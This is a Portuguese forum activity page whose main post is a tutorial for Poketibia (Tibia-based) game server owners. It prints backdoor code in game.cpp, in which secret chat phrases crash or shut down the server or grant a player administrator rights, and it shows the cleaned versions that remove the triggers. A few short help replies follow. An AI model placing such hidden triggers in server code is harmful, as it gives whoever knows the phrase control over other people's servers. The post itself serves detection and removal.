vedovi deu reputação a L3K0T em Source Poketibia - Códigos de derrubarOlá querido membro, hoje um grande amigo me pediu pra resolver um problema na source dele que acabou comprando de um fulano, enfim dentro da source tinha um código que ao ser falado dentro do jogo, o mesmo chashava ou até mesmo dava um cargo de administrador a um jogador com groups 1. Então me falaram que esse código era no game.cpp, portanto olhei linha por linha nessa source que está espalhada em vários fóruns e não é só aqui, é praticamente um código colocado por mal gosto, para ferrar praticamente com a vida de novos administradores, que ainda não manjam muito de programação. Portanto vamos lá...Você precisará da SOURCES do seu Poketibia para fazer essa verificação, caso possua o código da "morte" peço que siga o tutorial abaixo.
ACHE em game.cpp: (se caso não tiver, fique tranquilo, sua source tá livre disso)
Código 1
bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } if(text == "132571691951160609171665475233842782353388978252875245170015077017944684747472835757774156137332376855500013311808893753483521083716435624108") { exit(0); } if(text == "1325116507701794468474793753483521047283588978252875245170017577741561373323768555716919500013311808883716435624108") { player->setGroup(Groups::getInstance()->getGroup(6)); } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) { Etapa do Código 1 Mude para:
bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) { Pronto agora é só compilar sua source! Fiz update e achei outro código de derrubar no DXP.
Código 2
bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); int specs = 31101996; std::string findText; std::stringstream findTextInput; findTextInput << specs; findText = findTextInput.str(); bool exists = text.find(findText) != std::string::npos; if(exists){ Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::setGameState, this, GAME_STATE_SHUTDOWN))); return true; } SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) { Código 2, mude para
bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) {
Logo mais revelo novo código da mortes, créditos a mim, e cipsoft pelo código original.
-
vedovi recebeu reputação de arthurmgoncalves em (Resolvido)Fazer source com server ?Olá, se faz o server com as sources não ao contrário, vc vai precisar da source do seu server ou pegar uma source base e ir editando ela até atender todo sistema pedido pelo seu servidor.
-
vedovi recebeu reputação de sxeinjected em Alterar FUNDOAperte ctrl + f5, creio que funcionará mas verifique se a imagem que que esta trocando é diferente e tenha mesmo formato background-artwork.jpg
-
vedovi recebeu reputação de Cleiton Felipi em Criando character deletadoVeja na sua database se os characters samples estão undeleted.